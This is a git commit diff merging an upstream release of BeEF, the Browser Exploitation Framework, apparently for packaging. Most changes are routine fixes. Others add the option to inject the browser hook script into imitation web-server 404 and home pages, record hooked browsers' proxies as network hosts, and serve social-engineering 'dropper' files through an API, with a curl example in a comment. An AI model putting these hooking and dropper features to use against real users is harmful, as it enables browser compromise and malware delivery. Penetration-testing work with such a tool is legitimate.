Commit 60468b64 authored by Sophie Brun's avatar Sophie Brun

Merge tag 'upstream/0.4.5.1+git20150624'

Upstream version 0.4.5.1+git20150624
parents 7fec722a 0f6bb4f8
......@@ -6,10 +6,10 @@
# See the file 'doc/COPYING' for copying permission
#
gem "eventmachine", "1.0.3"
gem "eventmachine"
gem "thin"
gem "sinatra", "1.4.2"
gem "rack", "1.5.2"
gem "sinatra"
gem "rack"
gem "em-websocket", "~> 0.3.6" # WebSocket support
gem "uglifier", "~> 2.2.1"
......@@ -41,6 +41,8 @@ gem "msfrpc-client" # Metasploit Integration extension
gem "rubyzip", ">= 1.0.0"
gem "rubydns", "0.7.0" # DNS extension
gem "geoip" # geolocation support
gem "dm-serializer" # network extension
gem "qr4r" # QRcode extension
# For running unit tests
if ENV['BEEF_TEST']
......
......@@ -24,7 +24,9 @@ Please, send us pull requests!
Web: http://beefproject.com/
Mail: beef-subscribe@bindshell.net
Bugs: https://github.com/beefproject/beef
Security Bugs: security@beefproject.com
IRC: ircs://irc.freenode.net/beefproject
......
......@@ -24,7 +24,9 @@ __Please, send us pull requests!__
__Web:__ http://beefproject.com/
__Mail:__ beef-subscribe@bindshell.net
__Bugs:__ https://github.com/beefproject/beef
__Security Bugs:__ security@beefproject.com
__IRC:__ ircs://irc.freenode.net/beefproject
......
......@@ -33,7 +33,7 @@ beef:
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
# when hooking lots of browsers (50+).
# Enabling WebSockets is generally better (beef.websocket.enable)
xhr_poll_timeout: 5000
xhr_poll_timeout: 1000
# Reverse Proxy / NAT
# If BeEF is running behind a reverse proxy or NAT
......@@ -73,6 +73,8 @@ beef:
web_server_imitation:
enable: true
type: "apache" # Supported: apache, iis, nginx
hook_404: false # inject BeEF hook in HTTP 404 responses
hook_root: false # inject BeEF hook in the server home page
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
......
......@@ -22,7 +22,7 @@ module Filters
# @return [Boolean] Whether or not the only characters in str are specified in chars
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str).nil?
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if one or more characters in 'chars' are in 'str'
......@@ -31,7 +31,7 @@ module Filters
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
not regex.match(str).nil?
not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check for null char
......
This diff is collapsed.
......@@ -703,4 +703,6 @@ function InitDeviceScan()
isTierGenericMobile = DetectTierOtherPhones();
};
InitDeviceScan()
try {
InitDeviceScan();
}catch(e){}
......@@ -93,13 +93,13 @@ if (navigator.mozGetUserMedia) {
// Attach a media stream to an element.
attachMediaStream = function(element, stream) {
console.log("Attaching media stream");
beef.debug("Attaching media stream");
element.mozSrcObject = stream;
element.play();
};
reattachMediaStream = function(to, from) {
console.log("Reattaching media stream");
beef.debug("Reattaching media stream");
to.mozSrcObject = from.mozSrcObject;
to.play();
};
......@@ -188,7 +188,7 @@ if (navigator.mozGetUserMedia) {
} else if (typeof element.src !== 'undefined') {
element.src = URL.createObjectURL(stream);
} else {
console.log('Error attaching stream to element.');
beef.debug('Error attaching stream to element.');
}
};
......@@ -196,5 +196,5 @@ if (navigator.mozGetUserMedia) {
to.src = from.src;
};
} else {
console.log("Browser does not appear to be WebRTC-capable");
beef.debug("Browser does not appear to be WebRTC-capable");
}
......@@ -257,6 +257,7 @@ beef.net = {
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.duration = (end_time - start_time);
response.port_status = "open";
},
complete: function (jqXHR, textStatus) {
response.status_code = jqXHR.status;
......@@ -273,7 +274,7 @@ beef.net = {
response.port_status = "open";
}
}
}).done(function () {
}).always(function () {
if (callback != null) {
callback(response);
}
......@@ -287,6 +288,10 @@ beef.net = {
* - allowCrossDomain: set cross-domain requests as allowed or blocked
*
* forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
* Example usage:
* beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
* true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
* alert(response.response_body)})
*/
forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
......@@ -362,6 +367,8 @@ beef.net = {
}
},
data: data,
// http server responded successfully
success: function (data, textStatus, xhr) {
var end_time = new Date().getTime();
......
This diff is collapsed.
......@@ -86,7 +86,9 @@ module Banners
print_success "running on network interface: #{host}"
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.web_ui_basepath")}/panel\n"
if configuration.get("beef.extension.admin_ui.enable")
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.web_ui_basepath")}/panel\n"
end
print_more data
end
......
......@@ -177,6 +177,13 @@ module BeEF
unless proxy_server.nil?
BD.set(session_id, 'ProxyServer', "#{proxy_server}")
proxy_log_string += " [server: #{proxy_server}]"
if config.get("beef.extension.network.enable") == true
if proxy_server =~ /^([\d\.]+):([\d]+)$/
print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy', :cid => 'init')
r.save
end
end
end
BeEF::Core::Logger.instance.register('Zombie', "#{proxy_log_string}", "#{zombie.id}")
end
......@@ -312,7 +319,7 @@ module BeEF
# get and store the yes|no value for browser components
components = [
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
'HasFoxit', 'HasWebSocket', 'HasWebRTC', 'HasActiveX',
'HasWebSocket', 'HasWebRTC', 'HasActiveX',
'HasSilverlight', 'HasQuickTime', 'HasRealPlayer', 'HasWMP',
'hasSessionCookies', 'hasPersistentCookies'
]
......@@ -344,6 +351,12 @@ module BeEF
# log a few info of newly hooked zombie in the console
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
# add localhost as network host
if config.get('beef.extension.network.enable')
print_debug("Hooked browser has network interface 127.0.0.1")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'), :cid => 'init')
r.save
end
# Call autorun modules
if config.get('beef.autorun.enable')
......
......@@ -21,7 +21,7 @@ module BeEF
beef_js_path = "#{$root_dir}/core/main/client/"
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js lib/webrtcadapter.js)
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js)
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)
......@@ -31,6 +31,7 @@ module BeEF
end
# @note Load webrtc library only if WebRTC extension is enabled
if config.get("beef.extension.webrtc.enable") == true
beef_js_sub_files << "lib/webrtcadapter.js"
beef_js_sub_files << "webrtc.js"
end
......
......@@ -65,10 +65,20 @@ module Handlers
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session
def bind(file, path=nil, extension=nil, count=-1)
url = build_url(path, extension)
@allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count}
@http_server.mount(url, Rack::File.new(@allocations[url]['file']))
@allocations[url] = {'file' => "#{root_dir}"+file,
'path' => path,
'extension' => extension,
'count' => count}
resp_body = File.read("#{root_dir}#{file}")
@http_server.mount(
url,
BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type'=>'text/plain'}, resp_body)
)
@http_server.remap
print_info "File [" + "#{root_dir}"+file + "] bound to url [" + url + "]"
print_info "File [#{file}] bound to url [#{url}]"
url
end
......
......@@ -32,14 +32,17 @@ module BeEF
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
PQ << {
begin
PQ << {
:beefhook => params[:bh],
:stream_id => Integer(params[:sid]),
:packet_id => Integer(params[:pid]),
:packet_count => Integer(params[:pc]),
:data => params[:d]
}
}
rescue TypeError, ArgumentError => e
print_error "Hooked browser returned an invalid argument: #{e}"
end
Thread.new {
check_packets()
......
......@@ -10,14 +10,19 @@ module BeEF
class Raw
def initialize(status, header={}, body)
def initialize(status, header={}, body=nil)
@status = status
@header = header
@body = body
@header = header
@body = body
end
def call(env)
[@status, @header, @body]
# [@status, @header, @body]
@response = Rack::Response.new(
body = @body,
status = @status,
header = @header
)
end
private
......
......@@ -168,8 +168,9 @@ module BeEF
begin
secure ? print_debug("New WebSocketSecure channel open.") : print_debug("New WebSocket channel open.")
ws.onmessage { |msg|
msg_hash = JSON.parse("#{msg}")
#@note messageHash[result] is Base64 encoded
begin
msg_hash = JSON.parse("#{msg}")
#@note messageHash[result] is Base64 encoded
if (msg_hash["cookie"]!= nil)
print_debug("WebSocket - Browser says helo! WebSocket is running")
#insert new connection in activesocket
......@@ -202,9 +203,12 @@ module BeEF
#print_debug("Received from WebSocket #{messageHash}")
execute(msg_hash)
end
rescue => e
print_error "WebSocket - something wrong in msg handling - skipped: #{e}"
end
}
rescue => e
print_error "WebSocket error: #{e}"
print_error "WebSocket staring error: #{e}"
end
end
}
......
......@@ -149,27 +149,33 @@ module BeEF
# this is used in the 'get '/pf'' restful api call
def hbs_to_array(hbs)
hbs_online = []
hooked_browsers = []
hbs.each do |hb|
details = BeEF::Core::Models::BrowserDetails
# TODO jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank
hbs_online << [
pfuid = details.get(hb.session, 'PhishingFrenzyUID') != nil ? details.get(hb.session, 'PhishingFrenzyUID') : 'n/a'
bname = details.get(hb.session, 'BrowserName') != nil ? details.get(hb.session, 'BrowserName') : 'n/a'
bversion = details.get(hb.session, 'BrowserVersion') != nil ? details.get(hb.session, 'BrowserVersion') : 'n/a'
bplugins = details.get(hb.session, 'BrowserPlugins') != nil ? details.get(hb.session, 'BrowserPlugins') : 'n/a'
hooked_browsers << [
hb.id,
hb.ip,
details.get(hb.session, 'PhishingFrenzyUID'),
details.get(hb.session, 'BrowserName'),
details.get(hb.session, 'BrowserVersion'),
pfuid,
bname,
bversion,
details.get(hb.session, 'OsName'),
details.get(hb.session, 'BrowserPlatform'),
details.get(hb.session, 'BrowserLanguage'),
details.get(hb.session, 'BrowserPlugins'),
bplugins,
details.get(hb.session, 'LocationCity'),
details.get(hb.session, 'LocationCountry'),
details.get(hb.session, 'LocationLatitude'),
details.get(hb.session, 'LocationLongitude')
]
end
hbs_online
hooked_browsers
end
end
......
......@@ -23,14 +23,26 @@ module BeEF
# @note Binds a local file to a specified path in BeEF's web server
# Note: 'local_file' expects a file from the /extensions/social_engineering/droppers directory.
# Example usage:
# curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mount":"/dropper","local_file":"dropper.exe"}'
# -X POST -v http://10.0.60.10/api/server/bind?token=xyz
post '/bind' do
request.body.rewind
begin
data = JSON.parse request.body.read
mount = data['mount']
local_file = data['local_file']
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(local_file, mount)
status 200
droppers_dir = File.expand_path('..', __FILE__) + "/../../../../extensions/social_engineering/droppers/"
if File.exists?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount)
status 200
else
halt 400
end
rescue => e
error 400
end
......
......@@ -32,6 +32,7 @@ module BeEF
"<p>The requested URL was not found on this server.</p>" +
"<hr>" +
"<address>Apache/2.2.3 (CentOS)</address>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
"</body></html>"
when "iis"
#response body
......@@ -65,7 +66,9 @@ module BeEF
"<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr)," +
"and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>" +
"</ul>" +
"</TD></TR></TABLE></BODY></HTML>"
"</TD></TR></TABLE>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
"</BODY></HTML>"
when "nginx"
#response body
"<html>\n"+
......@@ -73,6 +76,7 @@ module BeEF
"<body bgcolor=\"white\">\n" +
"<center><h1>404 Not Found</h1></center>\n" +
"<hr><center>nginx</center>\n" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_404")).to_s +
"</body>\n" +
"</html>\n"
else
......@@ -235,6 +239,7 @@ module BeEF
"<p><a href=\"http://www.internic.net/whois.html\">http://www.internic.net/whois.html</a></p>" +
"</div>" +
"</div>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
"</body>" +
"</html>"
when "iis"
......@@ -265,6 +270,7 @@ module BeEF
"</td>" +
"</tr>" +
"</table>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
"</body>" +
"</html>"
when "nginx"
......@@ -289,6 +295,7 @@ module BeEF
"Commercial support is available at\n" +
"<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n" +
"<p><em>Thank you for using nginx.</em></p>\n" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
"</body>\n" +
"</html>\n"
else
......
......@@ -7,9 +7,6 @@
# @note Patching Ruby Security
require 'core/ruby/security'
# @note Patching Rack File class to prevent a potential XSS
require 'core/ruby/file.rb'
# @note Patching Ruby
require 'core/ruby/module'
require 'core/ruby/object'
......
require 'time'
require 'rack/utils'
require 'rack/mime'
module Rack
class File
def _call(env)
unless ALLOWED_VERBS.include? env["REQUEST_METHOD"]
return fail(405, "Method Not Allowed")
end
@path_info = Utils.unescape(env["PATH_INFO"])
parts = @path_info.split SEPS
parts.inject(0) do |depth, part|
case part
when '', '.'
depth
when '..'
return fail(404, "Not Found") if depth - 1 < 0
depth - 1
else
depth + 1
end
end
@path = F.join(@root, *parts)
available = begin
F.file?(@path) && F.readable?(@path)
rescue SystemCallError
false
end
if available
serving(env)
else
# this is the patched line. No need to reflect the URI path, potential XSS
# exploitable if you can bypass the Content-type: text/plain (IE MHTML and tricks like that)
fail(404, "File not found")
end
end
end
end
\ No newline at end of file
......@@ -33,7 +33,7 @@ module API
#NOTE: order counts! make sure you know what you're doing if you add files
esapi = %w(esapi/Class.create.js esapi/jquery-1.6.4.min.js esapi/jquery-encoder-0.1.0.js)
ux = %w(ui/common/beef_common.js ux/PagingStore.js ux/StatusBar.js ux/TabCloseMenu.js)
panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js)
panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js)
global_js = esapi + ux + panel
......@@ -86,19 +86,16 @@ module API
media_dir = File.dirname(__FILE__)+'/../media/'
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
# mount the favicon file, if we're not imitating a web server.
if !config.get("beef.http.web_server_imitation.enable")
beef_server.mount('/favicon.ico', Rack::File.new("#{media_dir}#{config.get("beef.extension.admin_ui.favicon_dir")}/#{config.get("beef.extension.admin_ui.favicon_file_name")}"))
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/extensions/admin_ui/media#{config.get("beef.extension.admin_ui.favicon_dir")}/#{config.get("beef.extension.admin_ui.favicon_file_name")}",
'/favicon.ico')
end
self.build_javascript_ui beef_server
end
end
end
end
end
......
......@@ -89,7 +89,6 @@ class Modules < BeEF::Extension::AdminUI::HttpController
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
['Browser Components', 'Windows Media Player','HasWMP'],
['Browser Components', 'VLC', 'HasVLC'],
['Browser Components', 'Foxit Reader', 'HasFoxit'],
['Browser Components', 'WebRTC', 'HasWebRTC'],
['Browser Components', 'ActiveX', 'HasActiveX'],
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
......
......@@ -12,8 +12,8 @@
<%= script_tag 'ext-base.js' %>
<%= script_tag 'ext-all.js' %>
<%= script_tag_min 'web_ui_all.js' %>
<%= stylesheet_tag 'wterm.css' %>
<%= script_tag_min 'web_ui_all.js' %>
<%= stylesheet_tag 'wterm.css' %>
<%= stylesheet_tag 'ext-all.css' %>
<%= stylesheet_tag 'base.css' %>
</head>
......@@ -24,7 +24,7 @@
<div class="left-menu" id="header-right">
</div>
<div class="right-menu">
<img src="<%= base_path %>/media/images/favicon.ico" alt="BeEF" title="BeEF" />
<img src="<%= base_path %>/media/images/favicon.png" />
BeEF <%= BeEF::Core::Configuration.instance.get('beef.version') %> |
<a id='do-submit-bug-menu' href='https://github.com/beefproject/beef/issues/new' target='_blank'>Submit Bug</a> |
<a id='do-logout-menu' href='#'>Logout</a>
......
......@@ -93,7 +93,6 @@ module BeEF
has_quicktime = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasQuickTime')
has_realplayer = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasRealPlayer')
has_wmp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWMP')
has_foxit = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFoxit')
date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
return {
......@@ -116,7 +115,6 @@ module BeEF
'has_silverlight' => has_silverlight,
'has_quicktime' => has_quicktime,
'has_wmp' => has_wmp,
'has_foxit' => has_foxit,
'has_realplayer' => has_realplayer,
'date_stamp' => date_stamp
}
......
......@@ -93,6 +93,70 @@
padding-top: 3px;
}
/*
* Network Panel
****************************************/
.network-host-ctxMenu-config {
background-image: url(../images/icons/tools.png);
background-size: 16px 16px;
background-repeat: no-repeat;
}
.network-host-ctxMenu-host {
background-image: url(../images/icons/pc.png);
background-size: 16px 16px;
background-repeat: no-repeat;
}
.network-host-ctxMenu-network {
background-image: url(../images/icons/network.png);
background-size: 16px 16px;
background-repeat: no-repeat;
}
.network-host-ctxMenu-web {
background-image: url(../images/icons/web.png);
background-size: 16px 16px;
background-repeat: no-repeat;
}
.network-host-ctxMenu-adapter {
background-image: url(../images/icons/adapter.png);
background-size: 16px 16px;
background-repeat: no-repeat;
}
.network-host-ctxMenu-router {
background-image: url(../images/icons/router.png);
background-size: 16px 16px;
background-repeat: no-repeat;
}
.network-host-ctxMenu-fingerprint {
background-image: url(../images/icons/magnifier.png);
background-size: 16px 16px;
background-repeat: no-repeat;
}
.network-host-ctxMenu-cors {
background-image: url(../images/icons/cors.png);
background-size: 16px 16px;
background-repeat: no-repeat;
}